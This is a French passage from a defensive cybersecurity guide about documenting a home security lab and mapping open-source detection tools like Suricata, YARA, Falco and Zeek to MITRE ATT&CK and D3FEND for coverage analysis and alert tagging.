La documentation du lab est souvent négligée mais est essentielle pour sa maintenance et son évolution. Un fichier de topologie réseau (idéalement un diagramme draw.io ou Mermaid versifié dans Git), un inventaire des machines avec leurs IPs, versions, credentials de test, et l'état attendu (propre, volontairement vulnérable, etc.) permettent de reprendre rapidement après une interruption. La documentation des expérimentations réalisées, sous forme de "writeups", constitue une base de connaissances personnelle précieuse et peut être partagée dans la communauté de sécurité.

53. Intégration des outils open source avec les standards MITRE

L'alignement des outils de sécurité open source avec les standards MITRE (ATT&CK, D3FEND, CAPEC, CWE) permet de contextualiser les détections et les remédiations dans un langage commun compris par toutes les équipes de sécurité. Cet alignement facilite également la communication avec la direction sur les investissements en sécurité et la mesure de la couverture défensive.

MITRE ATT&CK for Enterprise, avec ses plus de 600 techniques documentées en 2026, est la référence pour cartographier les capacités défensives. Chaque règle Suricata, YARA ou Falco peut être associée à une ou plusieurs techniques ATT&CK, permettant de visualiser quelles techniques sont couvertes par les contrôles en place et quelles sont les lacunes. Des outils comme ATT&CK Navigator permettent de créer des heatmaps de couverture et de comparer la couverture avant et après l'implémentation de nouveaux contrôles. Cette approche est de plus en plus requise par les assureurs cyber et les clients lors d'évaluations de maturité.

MITRE D3FEND est le pendant défensif d'ATT&CK, documentant les techniques de défense (détection, isolation, tromperie, déni, expulsion) avec leurs relations causales avec les techniques d'attaque ATT&CK. Chaque outil open source peut être positionné dans D3FEND : Falco implémente des techniques de "Platform Monitoring" (D3-PM), Suricata des techniques de "Network Traffic Analysis" (D3-NTA), YARA des techniques de "File Analysis" (D3-FA). Cette cartographie aide à identifier les redondances (deux outils couvrant la même technique D3FEND) et les lacunes dans la défense.

L'intégration pratique passe par l'enrichissement des alertes générées par les outils open source avec les identifiants ATT&CK correspondants. Wazuh, TheHive et OpenCTI supportent nativement les tags ATT&CK sur les règles et les alertes. Pour Suricata et Zeek, les règles personnalisées incluent les références ATT&CK dans les métadonnées (champ metadata dans les règles Suricata, annotations dans les scripts Zeek). Cette cohérence dans le tagging facilite la corrélation croisée des alertes et la reconstruction des chaînes d'attaque complètes dans les outils SIEM.